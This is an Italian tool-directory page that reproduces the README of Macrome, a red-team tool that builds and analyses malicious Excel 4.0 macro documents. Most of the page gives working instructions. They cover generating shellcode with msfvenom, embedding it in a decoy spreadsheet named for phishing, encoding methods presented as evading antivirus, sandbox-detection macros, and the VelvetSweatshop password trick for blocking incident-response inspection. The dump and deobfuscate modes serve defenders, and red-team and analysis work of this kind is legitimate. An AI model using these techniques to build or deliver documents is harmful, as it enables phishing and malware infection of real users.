Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Macrome — Lettore/Scrittore di documenti con macro Excel per Red Teamers e Analisti | Kitploit
Strumenti/GitHubGitHub/michaelweber/macrome
Generazione di PayloadExploitPhishingAnalisi MalwarePenetration TestingIngegneria SocialeAnalisi di BinariRed Teaming
GitHubmichaelweber/macrome

Macrome

Lettore/Scrittore di documenti con macro Excel per Red Teamers e Analisti

Vedi Repository
522784 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Macrome

Un Lettore/Scrittore di Documenti con Macro Excel per Red Team e Analisti. I post sul blog che descrivono cosa fa questo strumento si trovano qui e qui.

Un esempio di documento creato usando il template predefinito.

Installazione / Compilazione

Clona o scarica questo repository, lo strumento può essere eseguito usando dotnet - per esempio:

root@kitploit:~
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin 

oppure

root@kitploit:~
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls

Nota che è necessaria una build 5.0+ di dotnet per farlo funzionare come configurato - può essere scaricata da https://dotnet.microsoft.com/download/dotnet/5.0.

Rilasci binari dello strumento che non richiedono dotnet e contengono un eseguibile binario possono essere trovati nella sezione Release per Windows, OSX e Linux.

Utilizzo

Esegui Macrome usando dotnet run dalla directory della soluzione, oppure dotnet contro il binario compilato di Macrome. Ci sono tre modalità di funzionamento per Macrome: modalità Build, modalità Dump e modalità Deofuscation.

Modalità Build

Esegui Macrome con il comando build per generare un documento Excel contenente un foglio macro offuscato, utilizzando un documento esca e un payload macro forniti. dotnet Macrome.dll build -h mostrerà le istruzioni complete di utilizzo.

Ad esempio, per creare un documento usando il documento esca path/to/decoy_document.xls e il shellcode binario x86 memorizzato in path/to/shellcode.bin, esegui dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. Questo genererà un documento XLS 2003 che, dopo essere stato aperto e aver premuto il pulsante "Abilita Contenuto", eseguirà lo shellcode di shellcode.bin.

Come DOVREI eseguirlo?

Il resto della documentazione spiegherà ogni flag/funzione in dettaglio, ma al momento il "più recente e migliore" che Macrome ha da offrire può essere ottenuto eseguendo:

root@kitploit:~
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls

Utilizzo del Payload Binario

Per prima cosa genera un documento Excel "esca" di base che conterrà il contenuto che gli utenti dovrebbero vedere. Dovrebbe essere una sorta di esca che convince gli utenti a cliccare sul pulsante "Abilita Macro" visualizzato in Excel. Ci sono alcuni esempi della "più recente e migliore" creazione di esche su https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. Dopo aver creato questo foglio, salva il documento come tipo Excel 97-2003 Workbook (*.xls) invece del formato più recente Excel Workbook (*.xlsx). Un esempio di documento esca è incluso in /Docs/decoy_document.xls. Nota che se stai usando l'Offuscamento XOR per proteggere il tuo documento, attualmente NON puoi aggiungere un'immagine alla tua esca.

Successivamente, genera un payload shellcode da fornire allo strumento. Il payload binario di esempio (che apre calc) è stato generato usando msfvenom con i seguenti parametri:

root@kitploit:~
 msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin

Sono supportati anche payload a 64 bit. Il payload di esempio a 64 bit, popcalc64.bin, è stato generato usando il comando:

root@kitploit:~
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin

Questo payload può quindi essere incorporato eseguendo il comando:

root@kitploit:~
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin

Attualmente, i payload a 64 bit richiedono che sia fornito anche un payload x86. Se questo non è un problema, puoi semplicemente specificare dati spazzatura per il flag del payload x86.

Esiste un supporto eventuale per incorporare assembly .NET direttamente nel documento, ma se vuoi farlo ora suggerisco di usare EXCELntDonut.

A partire da Macrome 0.5.0 e superiori, tutti i payload saranno codificati con base64, quindi il tuo payload potrà contenere qualsiasi sequenza di byte (inclusi i byte nulli).

Incorporare Eseguibili

Se vuoi incorporare un eseguibile .NET usando Macrome, suggerisco di usare Donut con il comando donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe, e poi incorporare il payload risultante come payload sia a 32 bit che a 64 bit.

Un'altra valida alternativa è Amber che ha funzionato benissimo per incorporare binari Go piuttosto grandi.

Codifica Legacy del Payload

Se per qualche motivo vuoi usare la modalità legacy di codifica del payload pre-Macrome 0.5.0, usa il flag --payload-method con SheetPackingMethod. Nota che nella modalità legacy l'uso di un payload prevalentemente alfanumerico ridurrà la dimensione del file macro generato, poiché è più facile esprimere lettere e numeri in forma macro invece di aggiungere invocazioni CHAR ripetutamente come =CHAR(123)&CHAR(124)&CHAR(125)... ecc. Tuttavia lo strumento dovrebbe essere in grado di gestire anche un payload binario completamente non stampabile.

Utilizzo del Payload Macro

Simile all'utilizzo del payload binario, deve prima essere generato un documento esca. Successivamente, deve essere creato un file di testo contenente le macro da eseguire. Le macro dovrebbero avere colonne separate dal carattere ; e righe separate da nuove righe. Attualmente il contenuto delle macro specificate verrà scritto ed eseguito a partire da A1 - anche se in futuro verrà aggiunto il supporto per specificare la posizione di partenza. Esempi di macro si trovano in /Docs/macro_example.txt e /Docs/multi_column_macro_example.txt.

Infine, esegui il comando:

root@kitploit:~
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro

Nota l'uso del flag payload-type impostato su Macro.

Puoi generare una macro da solo, oppure puoi usare il fantastico strumento EXCELntDonut per creare una macro per te.

Selezione del Metodo di Codifica

Questi saranno dettagliati in un prossimo post del blog, ma Macrome ora può codificare i payload macro in tre modi diversi. La maggior parte di essi è ancora non rilevata da qualsiasi AV - ma sperimenta con i tuoi payload per vedere cosa funziona meglio.

  1. CharSubroutine - Sostituisce l'uso di funzioni CHAR() ripetute creando una subroutine in una cella casuale, e poi invocandola usando una lunga catena di funzioni IF e SET.NAME. Questo è qualcosa che non è stato ancora abusato da autori di maldoc prominenti, quindi è improbabile che attiri l'attenzione degli AV per ora.
  2. ObfuscatedCharFunc - La funzione di codifica originale di Macrome. Invoca CHAR() ma lo aggiunge a una cella vuota casuale e avvolge il valore in una funzione ROUND.
  3. ObfuscatedCharFuncAlt - Una leggera variazione della codifica originale, invece di usare un PtgFunc per invocare CHAR, usiamo un PtgFuncVar - questo rompe la maggior parte delle firme che cercano di contare le invocazioni CHAR.
  4. AntiAnalysisCharSubroutine - Uguale a CharSubroutine ma le variabili passate alla subroutine sono offuscate usando trucchi Unicode come descritto qui. Nota che questo genererà un documento più grande rispetto alla modalità CharSubroutine a causa dell'aggiunta di nomi di variabili esca.
  5. ArgumentSubroutines - Crea una subroutine personalizzata per CHAR() e FORMULA(), le invoca come funzioni personalizzate e analizza gli argomenti usando la macro ARGUMENT() che è meno supportata dagli emulatori.

Specifica una codifica usando il flag method durante la build - per esempio, per usare il codificatore CharSubroutine:

root@kitploit:~
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls

Macro Preliminari

A volte potresti volere che certe macro vengano eseguite PRIMA del codice del payload. Questo è utile quando stai aggiungendo macro per l'evasione sandbox e/o per verificare che il payload sia in esecuzione sul host corretto.

Il formato per i file di preambolo è esattamente lo stesso di quando si usa payload-type Macro, ma supporta solo una singola colonna. Per esempio, potresti avere un preambolo di:

root@kitploit:~
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))

Questo controllerebbe i valori della risoluzione dello schermo, la presenza di un mouse e la capacità di riprodurre suoni. Se uno di questi fallisse, l'app si chiuderebbe prima di eseguire il contenuto principale del payload.

Inoltre, se desideri che una macro preliminare venga valutata IMMEDIATAMENTE, invece che dopo aver decompresso il resto delle macro, puoi anteporre un comando con %%%%%. Per esempio:

root@kitploit:~
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())

Questo è utile per minimizzare il numero di comandi XLM eseguiti prima di terminare il documento e può essere d'aiuto per reazioni più immediate alla presenza di indicatori sandbox.

Protezione tramite Password con Offuscamento XOR

Macrome 0.3.0+ supporta la protezione tramite password dei documenti utilizzando l'Offuscamento XOR, una modalità di crittografia legacy di versioni MOLTO più vecchie di Office. Questa modalità di crittografia è spesso non supportata dagli strumenti IR e può aiutare a proteggere il contenuto del documento dall'ispezione.

Excel ha una password "predefinita" di VelvetSweatshop, che ti permetterà di crittografare il contenuto del documento pur facendo sì che il documento si decripti automaticamente quando viene aperto. Questo è il modo "ideale" per usare l'Offuscamento XOR in un contesto offensivo. Macrome tenterà automaticamente di usare questa password quando deoffusca o scarica un documento.

Per usare questa funzionalità, basta aggiungere --password <passwordToEncrypt> al tuo comando di build.

Modalità Dump

Esegui Macrome con il comando dump per stampare i record BIFF8 più rilevanti per documenti arbitrari. Questa funzionalità è simile alla funzionalità di dump delle macro di olevba, ma ha un'elaborazione più completa delle voci Ptg di casi limite per aiutare a garantire che il formato sia il più vicino possibile alle voci FORMULA effettive di Excel. Questo è ciò che ho usato per fare debug di alcuni strani documenti con casi limite che ho generato durante la creazione di questo strumento, quindi è comparativamente robusto. Sono sicuro che ci siano ancora molti casi limite non supportati, quindi se trovi un documento di cui non riesce a scaricare correttamente il contenuto, per favore apri un problema e condividi il documento come file zip.

Il comando dump richiede solo un argomento path che punti al file di destinazione. Un esempio di invocazione è:

root@kitploit:~
dotnet Macrome.dll dump --path docToDump.xls

La maggior parte dei flag del comando dump sono per il debug, ma dump-hex-bytes può essere utile per gli utenti che vogliono vedere i singoli byte del payload per i record rilevanti. Questa è una funzionalità simile a BiffView, anche se per impostazione predefinita verranno visualizzate solo le voci specifiche dei maldoc.

Modalità Deobfuscate

Esegui Macrome con il comando deobfuscate per prendere un documento XLS Binario offuscato e tentare di invertire diversi comportamenti anti-analisi. dotnet Macrome.dll deobfuscate -h mostrerà le istruzioni complete di utilizzo. Attualmente, per impostazione predefinita, questa modalità:

  • Scopre tutti i fogli indipendentemente dal loro stato nascosto
  • Normalizza le etichette specificate manualmente per tutte le voci Lbl che Excel interpreterà come voci Auto_Open nonostante il loro nome non corrisponda a quella stringa.

Ad esempio, per deoffuscare un file macro XLS 2003 malevolo situato in path/to/obfuscated_file.xls, esegui dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls. Questo genererà una copia del file offuscato che sarà più facile da analizzare manualmente o con strumenti.

NOTA: Questo non fa ancora molto, è principalmente inteso per dimostrare come l'uso della libreria b2xtranslator modificata possa aiutare ad automatizzare la deoffuscazione. Funzionalità più utili arriveranno presto.

Ringraziamenti

Un grande ringraziamento a tutte le spalle sulle quali ho potuto salire per scrivere questo.

  • https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/ - Il team di Outflank ha creato questo attacco, io sto solo automatizzando alcune delle parti noiose.
  • Le persone di InQuest per i loro eccellenti articoli su ciò che gli autori di malware stanno facendo per eludere il rilevamento al momento.
    • https://inquest.net/blog/2019/01/29/Carving-Sneaky-XLM-Files
    • https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros
    • https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-
  • @DissectMalware per il loro fantastico strumento XLMMacroDeobfuscator che è stato fantastico da testare ed è davvero un'ottima tecnologia se sei dalla parte della difesa/analisi.
  • @JoeLeonJr per il loro eccellente strumento EXCELntDonut di cui ho rubato adattato le macro Excel multi-architettura per aggiungere il supporto x64 a Macrome.
  • Gli autori originali della libreria b2xtranslator così come le persone di EvolutionJobs che l'hanno aggiornata e portata a dotnet. Il codice qui utilizzato è stato inizialmente preso da https://github.com/EvolutionJobs/b2xtranslator.
  • Immagini tratte dal fumetto di KC Green su https://gunshowcomic.com/648
Scarica lo strumento